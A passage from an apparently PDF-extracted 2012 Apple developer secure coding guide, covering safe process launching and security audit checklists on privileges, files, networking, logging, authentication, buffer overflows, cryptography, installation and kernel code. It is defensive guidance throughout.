● Many APIs for determining the user ID and user name are inherently untrustworthy because
they return the value of the USER.
● Someone could trivially make a copy of your app and change the string to a different value,
then run the app.
Start Other Processes Safely
When it comes to security, not all APIs for running external tools are created equal. In particular:
Avoid the POSIX system(3) function. Its simplicity makes it a tempting choice, but also makes it much more
dangerous than other functions. When you use system, you become responsible for completely sanitizing
the entire command, which means protecting any characters that are treated as special by the shell. You are
Designing Secure Helpers and Daemons
Run Daemons as Unique Users
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
84responsible for understanding and correctly using the shell’s quoting rules, knowing which characters are
interpreted within each type of quotation marks, and so on. This is no small feat even for expert shell script
programmers, and is strongly inadvisable for everyone else. Bluntly put, you will get it wrong.
Set up your own environment correctly ahead of time. Many APIs search for the tool you want to run in
locations specified by the PATH environment variable. If an attacker can modify that variable, the attacker can
potentially trick your app into starting a different tool and running it as the current user.
You can avoid this problem by either explicitly setting the PATH environment variable yourself or by avoiding
variants of exec(3) or posix_spawn(2) that use the PATH environment variable to search for executables.
Use absolute paths where possible, or relative paths if absolute paths are not available. By explicitly
specifying a path to an executable rather than just its name, the PATH environment variable is not consulted
when the OS determines which tool to run.
For more information about environment variables and shell special characters, read Shell Scripting Primer.
Designing Secure Helpers and Daemons
Start Other Processes Safely
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
85This appendix presents a set of security audit checklists that you can use to help reduce the security
vulnerabilities of your software. These checklists are designed to be used during software development. If you
read this section all the way through before you start coding, you may avoid many security pitfalls that are
difficult to correct in a completed program.
Note that these checklists are not exhaustive; you might not have any of the potential vulnerabilities discussed
here and still have insecure code. Also, as the author of the code, you are probably too close to the code to
be fully objective, and thus may overlook certain flaws. For this reason, it’s very important that you have your
code reviewed for security problems by an independent reviewer. A security expert would be best, but any
competent programmer, if aware of what to look for, might find problems that you may have missed. In
addition, whenever the code is updated or changed in any way, including to fix bugs, it should be checked
again for security problems.
Important: All code should have a security audit before being released.
Use of Privilege
This checklist is intended to determine whether your code ever runs with elevated privileges, and if it does,
how best to do so safely. Note that it’s best to avoid running with elevated privileges if possible; see “Avoiding
Elevated Privileges” (page 63).
1. Reduce privileges whenever possible.
If you are using privilege separation with sandboxing or other privilege-limiting techniques, you should
be careful to ensure that your helper tools are designed to limit the damage that they can cause if the
main application gets compromised, and vice-versa. Read “Designing Secure Helpers And Daemons” (page
81) to learn how.
Also, for daemons that start with elevated privileges and then drop privileges, you should always use a
locally unique user ID for your program. See “Run Daemons As Unique Users” (page 84) to learn more.
2. Use elevated privileges sparingly, and only in privileged helpers.
In most cases, a program can get by without elevated privileges, butsometimes a program needs elevated
privileges to perform a limited number of operations, such as writing files to a privileged directory or
opening a privileged port.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
86
Security Development ChecklistsIf an attacker finds a vulnerability that allows execution of arbitrary code, the attacker’s code runs with
the same privilege as the running code, and can take complete control of the computer if that code has
root privileges. Because of this risk, you should avoid elevating privileges if at all possible.
If you must run code with elevated privileges, here are some rules:
● Never run your main process as a different user. Instead, create a separate helper tool that runs with
elevated privileges.
● Your helper tool should do as little as possible.
● Your helper tool should restrict what you can ask it to do as much as possible.
● Your helper tool should either drop the elevated privileges or stop executing as soon as possible.
Important: If all or most of your code runs with root or other elevated privileges, or if you have complex
code that performs multiple operations with elevated privileges, then your program could have a
serious security vulnerability. You should seek help in performing a security audit of your code to
reduce your risk.
See “Elevating Privileges Safely” (page 59) and “Designing Secure Helpers And Daemons” (page 81) for
more information.
3. Use launchd when possible.
If you are writing a daemon or other process that runs with elevated privileges, you should always use
launchd to start it. (To learn why other mechanisms are not recommended, read “Limitations And Risks
Of Other Mechanisms” (page 67).)
For more information on launchd,see the manual pagesfor launchd, launchctl, and launchd.plist,
and Daemons and Services Programming Guide . For more information about startup items, see Daemons
and Services Programming Guide . For more information on ipfw, see the ipfw manual page.
4. Avoid using sudo programmatically.
If authorized to do so in the sudoers file, a user can use sudo to execute a command as root. The sudo
command is intended for occasional administrative use by a user sitting at the computer and typing into
the Terminal application. Its use in scripts or called from code is not secure.
After executing the sudo command—which requires authenticating by entering a password—there is a
five-minute period (by default) during which the sudo command can be executed without further
authentication. It’s possible for another process to take advantage of this situation to execute a command
as root.
Further, there is no encryption or protection of the command being executed. Because sudo is used to
execute privileged commands, the command arguments often include user names, passwords, and other
information that should be kept secret. A command executed in this way by a script or other code can
expose confidential data to possible interception and compromise.
Security Development Checklists
Use of Privilege
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
875. Minimize the amount of code that must be run with elevated privileges.
Ask yourself approximately how many lines of code need to run with elevated privileges. If this answer is
either “all” or is a difficult number to compute, then it will be very difficult to perform a security review of
your software.
If you can’t determine how to factor your application to separate out the code that needs privileges, you
are strongly encouraged to seek assistance with your project immediately. If you are an ADC member, you
are encouraged to ask for help from Apple engineers with factoring your code and performing a security
audit. If you are not an ADC member, see the ADC membership page at http://developer.apple.com/programs/.
6. Never run a GUI application with elevated privileges.
You should never run a GUI application with elevated privileges. Any GUI application linksin many libraries
over which you have no control and which, due to their size and complexity, are very likely to contain
security vulnerabilities. In this case, your application runs in an environment set by the GUI, not by your
code. Your code and your user’s data can then be compromised by the exploitation of any vulnerabilities
in the libraries or environment of the graphical interface.
Data, Configuration, and Temporary Files
Some security vulnerabilities are related to reading or writing files. This checklist is intended to help you find
any such vulnerabilities in your code.
1. Be careful when working with files in untrusted locations.
If you write to any directory owned by the user, then there is a possibility that the user will modify or
corrupt your files.
Similarly, if you write temporary files to a publicly writable place (for example, /tmp, /var/tmp,
/Library/Caches or another specific place with this characteristic), an attacker may be able to modify
your files before the next time you read them.
If your code reads and writes files (and in particular if it uses files for interprocess communication), you
should put those files in a safe directory to which only you have write access.
For more information about vulnerabilities associated with writing files, and how to minimize the risks,
see “Time of Check Versus Time of Use” (page 44).
2. Avoid untrusted configuration files, preference files, or environment variables.
In many cases, the user can control environment variables, configuration files, and preferences. If you are
executing a program for the user with elevated privileges, you are giving the user the opportunity to
perform operations that they cannot ordinarily do. Therefore, you should ensure that the behavior of your
privileged code does not depend on these things.
Security Development Checklists
Data, Configuration, and Temporary Files
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
88This means:
● Validate all input, whether directly from the user or through environment variables, configuration
files, preferences files, or other files.
In the case of environment variables, the effect might not be immediate or obvious; however the user
might be able to modify the behavior of your program or of other programs or system calls.
● Make sure that file paths do not contain wildcard characters, such as ../ or ~, which an attacker can
use to switch the current directory to one under the attacker’s control.
● Explicitly set the privileges, environment variables, and resources available to the running process,
rather than assuming that the process has inherited the correct environment.
3. Load kernel extensions carefully (or not at all).
A kernel extension is the ultimate privileged code—it has access to levels of the operating system that
cannot be touched by ordinary code, even running as root. You must be extremely careful why, how, and
when you load a kernel extension to guard against being fooled into loading the wrong one. It’s possible
to load a root kit if you’re notsufficiently careful. (A root kit is malicious code that, by running in the kernel,
can not only take over control of the system but can cover up all evidence of its own existence.)
To make sure that an attacker hasn’t somehow substituted his or her own kernel extension for yours, you
should always store kernel extensions in secure locations. You may, if desired, use code signing or hashes
to further verify their authenticity, but this does not remove the need to protect the extension with
appropriate permissions. (Time-of-check vs. time-of-use attacks are still possible.) Note that in recent
versions of OS X, this is partially mitigated by the KEXT loading system, which refuses to load any kext
binary whose owner is not root or whose group is not wheel.
In general, you should avoid writing kernel extensions (see “Keep Out” in Kernel Programming Guide ).
However, if you must use a kernel extension, use the facilities built into OS X to load your extension and
be sure to load the extension from a separate privileged process.
See “Elevating Privileges Safely” (page 59) to learn more about the safe use of root access. See Kernel
Programming Guide for more information on writing and loading kernel extensions. For help on writing
device drivers, see I/O Kit Fundamentals.
Network Port Use
This checklist is intended to help you find vulnerabilities related to sending and receiving information over a
network. If your project does not contain any tool or application that sends or receives information over a
network, skip to “Audit Logs” (page 91) (for servers) or “Integer and Buffer Overflows” (page 97) for all other
products.
1. Use assigned port numbers.
Security Development Checklists
Network Port Use
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
89Port numbers 0 through 1023 are reserved for use by certain services specified by the Internet Assigned
Numbers Authority (IANA; see http://www.iana.org/). On many systems including OS X, only processes
running asroot can bind to these ports. It is notsafe, however, to assume that any communications coming
over these privileged ports can be trusted. It’s possible that an attacker has obtained root access and used
it to bind to a privileged port. Furthermore, on some systems, root access is not needed to bind to these
ports.
You should also be aware that if you use the SO_REUSEADDR socket option with UDP, it is possible for a
local attacker to hijack your port.
Therefore, you should always use port numbers assigned by the IANA, you should always check return
codes to make sure you have connected successfully, and you should check that you are connected to
the correct port. Also, as always, never trust input data, even if it’s coming over a privileged port. Whether
data is being read from a file, entered by a user, or received over a network, you must validate all input.
See “Validating Input And Interprocess Communication” (page 33) for more information about validating
input.
2. Choose an appropriate transport protocol.
Lower-level protocols, such as UDP, provide higher performance for some types of traffic, but are easier
to spoof than higher-level protocols, such as TCP.
Note that if you’re using TCP, you still need to worry about authenticating both ends of the connection,
but there are encryption layers you can add to increase security.
3. Use existing authentication services when authentication is needed.
If you’re providing a free and nonconfidential service, and do not process user input, then authentication
is not necessary. On the other hand, if any secret information is being exchanged, the user is allowed to
enter data that your program processes, or there is any reason to restrict user access, then you should
authenticate every user.
OS X provides a variety of secure network APIs and authorization services, all of which perform
authentication. You should always use these services rather than creating your own authentication
mechanism. For one thing, authentication is very difficult to do correctly, and dangerous to get wrong. If
an attacker breaks your authentication scheme, you could compromise secrets or give the attacker an
entry to your system.
The only approved authorization mechanism for networked applications is Kerberos; see “Client-Server
Authentication” (page 93). For more information on secure networking, see Secure Transport Reference
and CFNetwork Programming Guide .
4. Verify access programmatically.
UI limitations do not protect your service from attack. If your service provides functionality that should
only be accessible to certain users, that service must perform appropriate checks to determine whether
the current user is authorized to access that functionality.
Security Development Checklists
Network Port Use
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
90If you do not do this, then someone sufficiently familiar with your service can potentially perform
unauthorized operations by modifying URLs, sending malicious Apple events, and so on.
5. Fail gracefully.
If a server is unavailable, either because of some problem with the network or because the server is under
a denial of service attack, your client application should limit the frequency and number of retries and
should give the user the opportunity to cancel the operation.
Poorly-designed clientsthat retry connectionstoo frequently and too insistently, or that hang while waiting
for a connection, can inadvertently contribute to—or cause their own—denial of service.
6. Design your service to handle high connection volume.
Your daemon should be capable of surviving a denial of service attack without crashing or losing data. In
addition, you should limit the total amount of processor time, memory, and disk space each daemon can
use, so that a denial of service attack on any given daemon does not result in denial of service to every
process on the system.
You can use the ipfwfirewall program to control packets and traffic flow for internet daemons. For more
information on ipfw, see the ipfw(8) manual page. See Wheeler, Secure Programming for Linux and
Unix HOWTO, available at http://www.dwheeler.com/secure-programs/, for more advice on dealing with
denial of service attacks.
7. Design hash functions carefully.
Hash tables are often used to improve search performance. However, when there are hash collisions(where
two items in the list have the same hash result), a slower (often linear) search must be used to resolve the
conflict. If it is possible for a user to deliberately generate different requeststhat have the same hash result,
by making many such requests an attacker can mount a denial of service attack.
It is possible to design hash tables that use complex data structures such as trees in the collision case.
Doing so can significantly reduce the damage caused by these attacks.
Audit Logs
It’s very important to audit attempts to connect to a server or to gain authorization to use a secure program.
If someone is attempting to attack your program, you should know what they are doing and how they are
doing it.
Furthermore, if your program is attacked successfully, your audit log is the only way you can determine what
happened and how extensive the security breach was. This checklist is intended to help you make sure you
have an adequate logging mechanism in place.
Security Development Checklists
Audit Logs
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
91Important: Don’t log confidential data, such as passwords, which could then be read later by a malicious
user.
1. Audit attempts to connect.
Your daemon orsecure program should audit connection attempts(both successful attempts and failures).
Note that an attacker can attempt to use the audit log itself to create a denial of service attack; therefore,
you should limit the rate of entering audit messages and the total size of the log file. You also need to
validate the input to the log itself, so that an attacker can’t enter special characters such as the newline
character that you might misinterpret when reading the log.
See Wheeler, Secure Programming for Linux and Unix HOWTO for some advice on audit logs.
2. Use the libbsm auditing library where possible.
The libbsm auditing library is part of the TrustedBSD project, which in turn is a set of trusted extensions
to the FreeBSD operating system. Apple has contributed to this project and has incorporated the audit
library into the Darwin kernel of the OS X operating system. (This library is not available in iOS.)
You can use the libbsm auditing library to implement auditing of your program for login and authorization
attempts. This library gives you a lot of control over which events are audited and how to handle denial
of service attacks.
The libbsm project is located at http://www.opensource.apple.com/darwinsource/Current/bsm/. For
documentation of the BSM service, see the “Auditing Topics” chapter in Sun Microsystems’ System
Administration Guide: Security Services located at http://docs.sun.com/app/docs/doc/806-
4078/6jd6cjs67?a=view.
3. If you cannot use libbsm, be careful when writing audit trails.
When using audit mechanisms other than libbsm, there are a number of pitfalls you should avoid,
depending on what audit mechanism you are using:
● syslog
Prior to the implementation of the libbsm auditing library, the standard C library function syslog
was most commonly used to write data to a log file. If you are using syslog, consider switching to
libbsm, which gives you more options to deal with denial of service attacks. If you want to stay with
syslog, be sure your auditing code is resistant to denial of service attacks, as discussed in step 1.
● Custom log file
If you have implemented your own custom logging service, consider switching to libbsm to avoid
inadvertently creating a security vulnerability. In addition, if you use libbsm your code will be more
easily maintainable and will benefit from future enhancements to the libbsm code.
If you stick with your own custom logging service, you must make certain that it is resistant to denial
of service attacks (see step 1) and that an attacker can’t tamper with the contents of the log file.
Security Development Checklists
Audit Logs
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
92Because your log file must be either encrypted or protected with access controlsto prevent tampering,
you must also provide tools for reading and processing your log file.
Finally, be sure your custom logging code is audited for security vulnerabilities.
Client-Server Authentication
If any private or secret information is passed between a daemon and a client process, both ends of the
connection should be authenticated. This checklist is intended to help you determine whether your daemon’s
authentication mechanism is safe and adequate. If you are not writing a daemon, skip to “Integer and Buffer
Overflows” (page 97).
1. Do not store, validate, or modify passwords yourself.
It’s a very bad idea to store, validate, or modify passwords yourself, as it’s very hard to do so securely, and
OS X and iOS provide secure facilities for just that purpose.
●
In OS X, you can use the keychain to store passwords and Authorization Services to create, modify,
delete, and validate user passwords (see Keychain Services Programming Guide and Authorization
Services Programming Guide ).
●
In OS X, if you have access to an OS X Server setup, you can use Open Directory (see Open Directory
Programming Guide ) to store passwords and authenticate users.
● On an iOS device, you can use the keychain to store passwords. iOS devices authenticate the application
that is attempting to obtain a keychain item rather than asking the user for a password. By storing
data in the keychain, you also ensure that they remain encrypted in any device backups.
2. Never send passwords over a network connection in cleartext form.
You should never assume that an unencrypted network connection issecure. Information on an unencrypted
network can be intercepted by any individual or organization between the client and the server.
Even an intranet, which does not go outside of your company, is not secure. A large percentage of cyber
crime is committed by company insiders, who can be assumed to have accessto a network inside a firewall.
OS X provides APIs for secure network connections; see Secure Transport Reference and CFNetwork
Programming Guide for details.
3. Use server authentication as an anti-spoofing measure.
Although server authentication is optional in the SSL/TLS protocols, you should always do it. Otherwise,
an attacker might spoof your server, injuring your users and damaging your reputation in the process.
4. Use reasonable pasword policies.
● Password strength
Security Development Checklists
Client-Server Authentication
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
93In general, it is better to provide the user with a meansto evaluate the strength of a proposed password
rather than to require specific combinations of letters, numbers, or punctuation, as arbitrary rules
tend to cause people to choose bad passwords to fit the standard (Firstname.123) instead of choosing
good passwords.
● Password expiration
Password expiration has pros and cons. If your service transmits passwords in cleartext form, it is
absolutely essential.
If your password transmission is considered secure, however, password expiration can actually weaken
security by causing people to choose weaker passwords that they can remember or to write their
passwords down on sticky notes on their monitors.
See Password Expiration Considered Harmful for more information.
● Non-password authentication
Hardware-token-based authentication providesfar more security than any password scheme because
the correct response changes every time you use it. These tokens should always be combined with a
PIN, and you should educate your users so that they do not write their username or PIN on the token
itself.
● Disabled accounts
When an employee leaves or a user closes an account, the accountshould be disabled so that it cannot
be compromised by an attacker. The more active accounts you have, the greater the probability that
one will have a weak password.
● Expired accounts
Expiring unused accounts reduces the number of active accounts, and in so doing, reduces the risk
of an old account getting compromised by someone stealing a password that the user has used for
some other service.
Note, however, that expiring a user account without warning the user first is generally a bad idea. If
you do not have a means of contacting the user, expiring accounts are generally considered poor
form.
● Changing passwords
You can require that the client application support the ability to change passwords, or you can require
that the user change the password using a web interface on the server itself.
In either case, the user (or the client, on behalf of the user) must provide the previous password along
with the new password (twice unless the client is updating it programmatically over a sufficiently
robust channel).
● Lost password retrieval (such as a system that triggers the user’s memory or a series of questions
designed to authenticate the user without a password)
Security Development Checklists
Client-Server Authentication
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
94Make sure your authentication method is not so insecure that an attacker doesn’t even bother to try
a password, and be careful not to leak information, such as the correct length of the password, the
email address to which the recovered password is sent, or whether the user ID is valid.
You should always allow (and perhaps even require) customer to choose their own security questions.
Pre-written questions are inherently dangerous because any question that is general enough for you
to ask it of a large number of people is:
●
likely to be a request for information that a large number of that person’s friends already know.
In all likelihood, everyone who attended your high school can guess (in a handful of guesses)
who your kindergarten teacher was, who your high school mascot was, and so on.
● probably on your public profile on a social networking site. For example, if you ask where you
were born, chances are that’s public information. Even if it isn’t on your profile, someone can dig
it up through government records.
● potentially guessable given other information about the person. For example, given the last four
digits of a social security number, someone’s birthdate, and the city in which that person was
born, you can fairly easily guess then entire social security number.
Finally, you should always allow your users the option of not filing out security questions. The mere
existence of security questions makes their accounts less secure, so security-conscious individuals
should be allowed to refuse those questions entirely.
● Limitations on password length (adjustable by the system administrator)
In general, you should require passwords to be at least eight characters in length. (As a side note, if
yourserver limits passwordsto a maximum of eight characters, you need to rethink your design. There
should be no maximum password length at all, if possible.)
The more of these policies you enforce, the more secure your server will be. Rather than creating your
own password database—which is difficult to do securely—you should use the Apple Password Server.
See Open Directory Programming Guide for more information about the Password Server, Directory Service
Framework Reference for a list of Directory Services functions, and the manual pages for pwpolicy(8),
passwd(1), passwd(5), and getpwent(3) at http://developer.apple.com/documentation/Darwin/Reference/ManPages/index.html for tools to access the password database and set password policies.
5. Do not store unencrypted passwords and do not reissue passwords.
In order to reissue a password, you first have to cache the unencrypted password, which is bad security
practice. Furthermore, when you reissue a password, you might also be reusing that password in an
inappropriate security context.
For example, suppose your program is running on a web server, and you use SSL to communicate with
clients. If you take a client’s password and use it to log into a database server to do something on the
client’s behalf, there’s no way to guarantee that the database server keeps the password secure and does
Security Development Checklists
Client-Server Authentication
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
95not pass it on to another server in cleartext form. Therefore, even though the password was in a secure
context when it was being sent to the web server over SSL, when the web server reissues it, it’s in an
insecure context.
If you want to spare your client the trouble of logging in separately to each server, you should use some
kind of forwardable authentication, such as Kerberos. For more information on Apple’s implementation
of Kerberos, see http://developer.apple.com/darwin/projects/kerberos/.
Under no circumstances should you design a system in which system administrators or other employees
can see users’ passwords. Your users are trusting you with passwords that they may use for other sites;
therefore, it is extremely reckless to allow anyone else to see those passwords. Administrators should be
allowed to reset passwords to new values, but should never be allowed to see the passwords that are
already there.
6. Support Kerberos.
Kerberos is the only authorization service available over a network for OS X servers, and it offers
single-sign-on capabilities. If you are writing a server to run on OS X, you should support Kerberos. When
you do:
a. Be sure you’re using the latest version (v5).
b. Use a service-specific principal, not a host principal. Each service that uses Kerberos should have its
own principal so that compromise of one key does not compromise more than one service. If you use
a host principal, anyone who has your host key can spoof login by anybody on the system.
The only alternative to Kerberos is combining SSL/TLS authentication with some other means of
authorization such as an access control list.
7. Restrict guest access appropriately.
If you allow guest access, be sure that guests are restricted in what they can do, and that your user interface
makes clear to the system administrator what guests can do. Guest access should be off by default. It’s
best if the administrator can disable guest access.
Also, as noted previously, be sure to limit what guests can do in the code that actually performs the
operation, not just in the code that generates the user interface. Otherwise, someone with sufficient
knowledge ofthe systemcan potentially performthose unauthorized operationsin other ways(bymodifying
URLs, for example).
8. Do not implement your own directory service.
Open Directory is the directory server provided by OS X for secure storage of passwords and user
authentication. It is important that you use this service and not try to implement your own, as secure
directory servers are difficult to implement and an entire directory’s passwords can be compromised if it’s
done wrong. See Open Directory Programming Guide for more information.
9. Scrub (zero) user passwords from memory after validation.
Security Development Checklists
Client-Server Authentication
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
96Passwords must be kept in memory for the minimum amount of time possible and should be written over,
not just released, when no longer needed. It is possible to read data out of memory even if the application
no longer has pointers to it.
Integer and Buffer Overflows
As discussed in “Avoiding Buffer Overflows And Underflows” (page 17), buffer overflows are a major source
of security vulnerabilities. This checklist is intended to help you identify and correct buffer overflows in your
program.
1. Use unsigned values when calculating memory object offsets and sizes.
Signed values make it easier for an attacker to cause a buffer overflow, creating a security vulnerability,
especially if your application accepts signed values from user input or other outside sources.
Be aware that data structures referenced in parameters might contain signed values.
See “Avoiding Integer Overflows And Underflows” (page 27) and “Calculating Buffer Sizes” (page 25) for
details.
2. Check for integer overflows (or signed integer underflows) when calculating memory object offsets
and sizes.
You must always check for integer overflows or underflows when calculating memory offsets or sizes.
Integer overflows and underflows can corrupt memory in ways that can lead to execution of arbitrary
code.
See “Avoiding Integer Overflows And Underflows” (page 27) and “Calculating Buffer Sizes” (page 25) for
details.
3. Avoid unsafe string-handling functions.
The functions strcat, strcpy, strncat, strncpy, sprintf, vsprintf, gets have no built-in checks
for string length, and can lead to buffer overflows.
For alternatives, read “String Handling” (page 22).
Cryptographic Function Use
This checklist is intended to help you determine whether your program has any vulnerabilities related to use
of encryption, cryptographic algorithms, or random number generation.
1. Use trusted random number generators.
Do not attempt to generate your own random numbers.
Security Development Checklists
Integer and Buffer Overflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
97There are several ways to obtain high-quality random numbers:
●
In iOS, use the Randomization Services programming interface.
●
In OS X:
● Read from /dev/random in OS X (see the manual page for random).
● Use the read_random function in the header file random.h in the Apple CSP module, which is
part of Apple’simplementation ofthe CDSA framework (available at http://developer.apple.com/darwin/projects/security/).
Note that rand does not return good random numbers and should not be used.
2. Use TLS/SSL instead of custom schemes.
You should always use accepted standard protocols for secure networking. These standards have gone
through peer review and so are more likely to be secure.
In addition, you should always use the most recent version of these protocols.
To learn more about the secure networking protocols available in OS X and iOS, read “Secure Network
Communication APIs” in Cryptographic Services Guide .
3. Don’t roll your own crypto algorithms.
Always use existing optimized functions. It is very difficult to implement a secure cryptographic algorithm,
and good, secure cryptographic functions are readily available.
To learn about the cryptographic services available in OS X and iOS, read Cryptographic Services Guide .
Installation and Loading
Many security vulnerabilities are caused by problems with how programs are installed or code modules are
loaded. This checklist is intended to help you find any such problems in your project.
1. Don’t install components in /Library/StartupItemsor/System/Library/Extensions.
Code installed into these directories runs with root permissions. Therefore, it is very important that such
programs be carefully audited forsecurity vulnerabilities(as discussed in this checklist) and that they have
their permissions set correctly.
For information on proper permissions for startup items, see “Startup Items”. (Note that in OS X v10.4 and
later,startup items are deprecated; you should use launchd to launch your daemonsinstead. See Daemons
and Services Programming Guide for more information.)
For information on permissions for kernel extensions, see Kernel Extension Programming Topics. (Note
that beginning in OS X v10.2, OS X checks for permissions problems and refuses to load extensions unless
the permissions are correct.)
Security Development Checklists
Installation and Loading
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
982. Don’t use custom install scripts.
Custom install scripts add unnecessary complexity and risk, so when possible, you should avoid them
entirely.
If you must use a custom install script, you should:
●
If your installerscript runsin a shell, read and follow the advice in “Shell Script Security” in Shell Scripting
Primer.
● Be sure that yourscript followsthe guidelinesin this checklist just asthe rest of your application does.
In particular:
● Don’t write temporary files to globally writable directories.
● Don’t execute with higher privileges than necessary.
In general, your script should execute with the same privileges the user has normally, and should
do its work in the user’s directory on behalf of the user.
● Don’t execute with elevated privileges any longer than necessary.
● Set reasonable permissions on your installed app.
For example, don’t give everyone read/write permission to files in the app bundle if only the
owner needs such permission.
● Set your installer’s file code creation mask (umask) to restrict access to the files it creates (see
“Securing File Operations” (page 47)).
● Check return codes, and if anything is wrong, log the problem and report the problem to the
user through the user interface.
For advice on writing installation code that needs to perform privileged operations, see Authorization
Services Programming Guide . For more information about writing shell scripts, read Shell Scripting Primer.
3. Load plug-ins and libraries only from secure locations.
An application should load plug-ins only from secure directories. If your application loads plug-ins from
directories that are not restricted, then an attacker might be able to trick the user into downloading
malicious code, which your application might then load and execute.
Important: In code running with elevated privileges, directories writable by the user are not considered
secure locations.
Be aware that the dynamic link editor (dyld) might link in plugins, depending on the environment in
which your code is running. If your code uses loadable bundles (CFBundle or NSBundle), then it is
dynamically loading code and could potentially load bundles written by a malicious hacker.
See Code Loading Programming Topics for more information about dynamically loaded code.
Security Development Checklists
Installation and Loading
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
99Use of External Tools and Libraries
If your program includes or uses any command-line tools, you have to look for security vulnerabilities specific
to the use of such tools. This checklist is intended to help you find and correct such vulnerabilities.
1. Execute tools safely.
If you are using routines such as popen or system to send commands to the shell, and you are using
input from the user or received over a network to construct the command, you should be aware that these
routines do not validate their input. Consequently, a malicious user can pass shell metacharacters—such
as an escape sequence or other special characters—in command line arguments. These metacharacters
might cause the following text to be interpreted as a new command and executed.
In addition, when calling functions such as execlp, execvp, popen, or system that use the PATH
environment variable to search for executables, you should always specify a complete absolute path to
any tool that you want to run. If you do not, a malicious attacker can potentially cause you to run a different
tool using an environment variable attack. When possible, use execvP (which takes an explicit search
path argument) or avoid these functions altogether.
See Viega and McGraw, Building Secure Software , AddisonWesley, 2002, andWheeler, Secure Programming
for Linux andUnixHOWTO, available at http://www.dwheeler.com/secure-programs/, formore information
on problems with these and similar routines and for secure ways to execute shell commands.
2. Do not pass sensitive information on the command line.
If your application executes command-line tools, keep in mind that your process environment is visible
to other users (see man ps(1)). You must be careful not to pass sensitive information in an insecure
manner. Instead, pass sensitive information to your tool through some other means such as:
● Pipe or standard input
A password is safe while being passed through a pipe; however, you must be careful that the process
sending the password obtains and stores it in a safe manner.
● Environment variables
Environment variables can potentially be read by other processes and thus may not be secure. If you
use environment variables, you must be careful to avoid passing them to any processes that your
command-line tool or script might spawn.
See “Shell Script Security” in Shell Scripting Primer for details.
● Shared memory
Named and globally-shared memory segments can be read by other processes. See “Interprocess
Communication And Networking” (page 40) for more information aboutsecure use ofshared memory.
● Temporary file
Security Development Checklists
Use of External Tools and Libraries
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
100Temporary files are safe only if kept in a directory to which only your program has access. See “Data,
Configuration, and Temporary Files” (page 88), earlier in this chapter, for more information on
temporary files.
3. Validate all arguments (including the name).
Also, remember that anyone can execute a tool—it is not executable exclusively through your program.
Because all command-line arguments, including the program name (argv(0)), are under the control of
the user, your tool should validate every parameter (including the name, if the tool’s behavior depends
on it).
Kernel Security
This checklist is intended to help you program safely in the kernel.
Note: Coding in the kernel poses special security risks and is seldom necessary. See Coding in the
Kernel for alternatives to writing kernel-level code.
1. Verify the authenticity of Mach-based services.
Kernel-level code can work directly with the Mach component. A Mach port is an endpoint of a
communication channel between a client who requests a service and a server that provides the service.
Mach ports are unidirectional; a reply to a service request must use a second port.
If you are using Mach ports for communication between processes, you should check to make sure you
are contacting the correct process. Because Mach bootstrap ports can be inherited, it is important for
servers and clients to authenticate each other. You can use audit trailers for this purpose.
You should create an audit record for each security-related check your program performs. See “Audit
Logs” (page 91), earlier in this chapter, for more information on audit records.
2. Verify the authenticity of other user-space services.
If your kernel extension was designed to communicate with only a specific user-space daemon, you should
check not only the name of the process, but also the owner and group to ensure that you are
communicating with the correct process.
3. Handle buffers correctly.
When copying data to and from user space, you must:
a. Check the bounds of the data using unsigned arithmetic—just as you check all bounds (see “Integer
and Buffer Overflows” (page 97), earlier in this chapter)—to avoid buffer overflows.
b. Check for and handle misaligned buffers.
c. Zero all pad data when copying to or from user-space memory.
Security Development Checklists
Kernel Security
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
101If you or the compiler adds padding to align a data structure in some way, you should zero the padding
to make sure you are not adding spurious (or even malicious) data to the user-space buffer, and to
make sure that you are not accidentally leaking sensitive information that may have been in that page
of memory previously.
4. Limit the memory resources a user may request.
If your code does not limit the memory resources a user may request, then a malicious user can mount a
denial of service attack by requesting more memory than is available in the system.
5. Sanitize any kernel log messages.
Kernel code often generates messages to the console for debugging purposes. If your code does this, be
careful not to include any sensitive information in the messages.
6. Don’t log too much.
The kernel logging service has a limited buffer size to thwart denial of service attacks against the kernel.
This means that if your kernel code logs too frequently or too much, data can be dropped.
If you need to log large quantities of data for debugging purposes, you should use a different mechanism,
and you must disable that mechanism before deploying your kernel extension. If you do not, then your
extension could become a denial-of-service attack vector.
7. Design hash functions carefully.
Hash tables are often used to improve search performance. However, when there are hash collisions(where
two items in the list have the same hash result), a slower (often linear) search must be used to resolve the
conflict. If it is possible for a user to deliberately generate different requeststhat have the same hash result,
by making many such requests an attacker can mount a denial of service attack.
It is possible to design hash tables that use complex data structures such as trees in the collision case.
Doing so can significantly reduce the damage caused by these attacks.
Security Development Checklists
Kernel Security
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
102This appendix provides secure coding guidelines for software to be bundled with Apple products.
Insecure software can pose a risk to the overall security of users’ systems. Security issues can lead to negative
publicity and end-user support problems for Apple and third parties.
Respect Users’ Privacy
Your bundled software may use the Internet to communicate with your servers or third party servers. If so, you
should provide clear and concise information to the user about what information is sent or retrieved and the
reason for sending or receiving it.
Encryption should be used to protect the information while in transit. Servers should be authenticated before
transferring information.
Provide Upgrade Information
Provide information on how to upgrade to the latest version. Consider implementing a “Check for updates…”
feature. Customers expect (and should receive) security fixes that affect the software version they are running.
You should have a way to communicate available security fixes to customers.
If possible, you should use the Mac App Store for providing upgrades. The Mac App Store provides a single,
standard interface for updating all of a user’s software. The Mac App Store also provides an expedited app
review process for handling critical security fixes.
Store Information in Appropriate Places
Store user-specific information in the home directory, with appropriate file system permissions.
Take special care when dealing with shared data or preferences.
Follow the guidelines about file system permissions set forth in File System Programming Guide .
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
103
